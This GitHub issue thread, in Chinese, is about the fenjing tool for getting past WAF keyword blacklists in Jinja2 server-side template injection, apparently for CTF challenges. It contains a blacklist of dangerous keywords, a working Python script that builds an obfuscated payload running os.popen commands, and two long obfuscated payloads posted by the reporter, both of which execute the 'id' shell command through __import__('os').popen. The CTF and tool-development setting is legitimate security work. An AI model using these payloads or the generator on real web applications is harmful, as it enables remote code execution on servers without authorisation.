Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

这个waf在本地搭建后用fenjing测试没绕成功 #4

Closed
Lazzzaro opened this issue May 20, 2023 · 9 comments
Closed

这个waf在本地搭建后用fenjing测试没绕成功 #4

Lazzzaro opened this issue May 20, 2023 · 9 comments

Comments

@Lazzzaro
Copy link

blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess',
'posix', 'builtins', 'namespace','open', 'read', '\', 'self', 'mro', 'base',
'global', 'init', '/','00', 'chr', 'value', 'get', "url", 'pop', 'import',
'include','request', '{{', '}}', '"', 'config','=']

@Marven11
Copy link
Owner

这个主要是百分号字符和数字100没法绕过,手动将规则加入生成器后就可以了,代码如下:

from fenjing import const
from fenjing.full_payload_gen import FullPayloadGen
import logging

logging.basicConfig(level=logging.INFO)

blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess',
             'posix', 'builtins', 'namespace', 'open', 'read', '\\', 'self', 'mro', 'base',
             'global', 'init', '/', '00', 'chr', 'value', 'get', "url", 'pop', 'import',
             'include', 'request', '{{', '}}', '"', 'config', '=']


def waf(s: str):
    return all(word not in s for word in blacklist)

def get_char(target):
    """
    根据给定的字符生成对应的payload
    """
    d = {
        "(x|pprint|list|batch(X)|first|last)": {
            0:'!', 1:'U', 2:'n', 3:'d', 4:'e', 5:'f', 6:'i', 7:'n', 8:'e',
        },
        "(lipsum|string|list|batch(X)|first|last)": {
            0: '!', 1: '&', 2: 'f', 3: 'u', 4: 'n', 5: 'c', 6: 't', 7: 'i', 8: 'o', 9: 'n', 10: ' ', 11: 'g', 12: 'e', 13: 'n', 14: 'e', 15: 'r', 16: 'a', 17: 't', 18: 'e', 19: '_', 20: 'l', 21: 'o', 22: 'r', 23: 'e', 24: 'm', 25: '_', 26: 'i', 27: 'p', 28: 's', 29: 'u', 30: 'm', 31: ' ', 32: 'a', 33: 't', 34: ' ',
        },
        "(()|batch(1)|string|list|batch(X)|first|last)": {
            0: '!', 1: '&', 2: 'g', 3: 'e', 4: 'n', 5: 'e', 6: 'r', 7: 'a', 8: 't', 9: 'o', 10: 'r', 11: ' ', 12: 'o', 13: 'b', 14: 'j', 15: 'e', 16: 'c', 17: 't', 18: ' ', 19: 'd', 20: 'o', 21: '_', 22: 'b', 23: 'a', 24: 't', 25: 'c', 26: 'h', 27: ' ', 28: 'a', 29: 't', 30: ' ',
        }
    }
    for outer, inner in d.items():
        for i, c in inner.items():
            if c == target:
                return outer.replace("X", str(i))
    raise Exception()


def main():
    """
    FullPayloadGen生成的payload由两部分组成
    后面的部分是用户实际要求的payload,一般由{{}}包裹
    前面的部分,即下方的context_payload, 仅为后面的部分准备上下文,一般为{%set xxx=yyy}
    前面为后面准备的变量存储在context字典中,键是生成payload时需要用到的表达式,值是此表达式对应的值
    """
    full_payload_gen = FullPayloadGen(waf)
    # 让FullPayloadGen先分析waf函数
    full_payload_gen.do_prepare() 

    print(f"{full_payload_gen.context=}", )
    print(f"{full_payload_gen.context_payload=}", )

    chr_payload = (
        "lipsum|attr(GLOBAL)|attr(GETITEM)(BUILTINS)|attr(GETITEM)(CHR)"
            .replace("GLOBAL", "+".join(get_char(c) for c in "__globals__"))
            .replace("GETITEM", "+".join(get_char(c) for c in "__getitem__"))
            .replace("BUILTINS", "+".join(get_char(c) for c in "__builtins__"))
            .replace("CHR", "+".join(get_char(c) for c in "chr"))
        )
    chr_in_lipsum = (
        "{%if(lipsum|attr(SETATTR)(()|string, CHR_PAYLOAD))%}{%endif%}"
        .replace("SETATTR", "+".join(get_char(c) for c in "__setattr__"))
        .replace("CHR_PAYLOAD", chr_payload))
    # 再将对应的payload放进FullPayloadGen中
    # 生成payload时需要用到的表达式,表达式对应的值,使用这个表达式需要增加的payload
    for literal, value, payload in [
        ("(lipsum|attr(()|string))(37)", "%", chr_in_lipsum),
        (hex(100), 100, "")
    ]:
        full_payload_gen.context[literal] = value
        full_payload_gen.context_payload += payload

    payload, _ = full_payload_gen.generate(const.OS_POPEN_READ, "echo 11111111111")
    print(payload)


if __name__ == "__main__":
    main()

我还在将这个规则加入到生成器中,可以参考上方的脚本加入规则并生成payload

@Marven11
Copy link
Owner

生成的payload非常长,如果有更好的payload也可以告诉我

@Marven11
Copy link
Owner

找到一个更加简单的方法,已经加进去了,使用pip install -U fenjing更新即可

@Lazzzaro
Copy link
Author

可以加一个手动设置cookie的参数吗,有一道题需要手动修改flask-session,即cookie值后,才能进入到SSTI入口。

@Marven11
Copy link
Owner

可以考虑一下

@Lazzzaro
Copy link
Author

Lazzzaro commented May 20, 2023

而且大佬,因为是GET请求,尝试了一下命令执行id命令,payload有这么长:{%print(((((((lipsum[(lipsum|escape|batch(22)|list|first|last)*2+(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*7)%(103,108,111,98,97,108,115))+(lipsum|escape|batch(22)|list|first|last)*2])[(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*12)%(95,95,98,117,105,108,116,105,110,115,95,95))])[(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*4)%(101,118,97,108))])((((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*28)%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,105,0x64,39,41))))[(((((lipsum,)|map(((lipsum|string|list|batch(3)|first|last)~(lipsum|string|list|batch(15)|first|last)~(lipsum|string|list|batch(20)|first|last)~(x|pprint|list|batch(4)|first|last)~(x|pprint|list|batch(2)|first|last)~(lipsum|string|list|batch(5)|first|last)~(lipsum|string|list|batch(8)|first|last)~(x|pprint|list|batch(3)|first|last)~(x|pprint|list|batch(4)|first|last)))|list|first|first)+(lipsum|escape|batch(8)|first|last))*4)%(114,101,97,0x64))])()))%}
因为GET方式传值有长度限制,在浏览器传值貌似会报错500。

@Marven11
Copy link
Owner

这个payload我用python和bp交都成功了,可能是浏览器解析的问题导致报错500
Screenshot_2023-05-20_22-25-06
脚本设计之初就没有考虑payload长短的问题,需要缩短payload的话现在还是只能手动分析。

@Lazzzaro
Copy link
Author

测试成功了,原来是少了url编码,谢谢!

@Lazzzaro
Copy link
Author

Lazzzaro commented May 24, 2023

提供一个更短一些的官方payload:

{%print(lipsum|attr(({}|select()|trim|list)[24]~({}|select()|trim|list)[24]~({}|select()|trim|list)[1]~(dict|trim|list)[2]~({}|select()|trim|list)[8]~({}|select()|trim|list)[12]~(dict|trim|list)[3]~(dict|trim|list)[2]~(dict|trim|list)[4]~({}|select()|trim|list)[24]~({}|select()|trim|list)[24])|attr(({}|select()|trim|list)[24]~({}|select()|trim|list)[24]~({}|select()|trim|list)[1]~({}|select()|trim|list)[2]~(dict|trim|list)[11]~(dict|trim|list)[9]~(dict|trim|list)[11]~({}|select()|trim|list)[2]~(lipsum|trim|list)[23]~({}|select()|trim|list)[24]~({}|select()|trim|list)[24])(({}|select()|trim|list)[8]~(dict|trim|list)[4])|attr((lipsum|trim|list)[26]~({}|select()|trim|list)[8]~(lipsum|trim|list)[26]~({}|select()|trim|list)[2]~({}|select()|trim|list)[3])((lipsum|attr(({}|select()|trim|list)[24]~({}|select()|trim|list)[24]~({}|select()|trim|list)[1]~(dict|trim|list)[2]~({}|select()|trim|list)[8]~({}|select()|trim|list)[12]~(dict|trim|list)[3]~(dict|trim|list)[2]~(dict|trim|list)[4]~({}|select()|trim|list)[24]~({}|select()|trim|list)[24])|trim()|list())[288]~({}|select()|trim|list)[5]~({}|select()|trim|list)[2]~(dict|trim|list)[3]~(dict|trim|list)[8]~({}|select()|trim|list)[41]~(dict|trim|list)[2]~(dict|trim|list)[3]~({}|select()|trim|list)[1])|attr(({}|select()|trim|list)[5]~({}|select()|trim|list)[2]~(dict|trim|list)[3]~(dict|trim|list)[8])())%}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants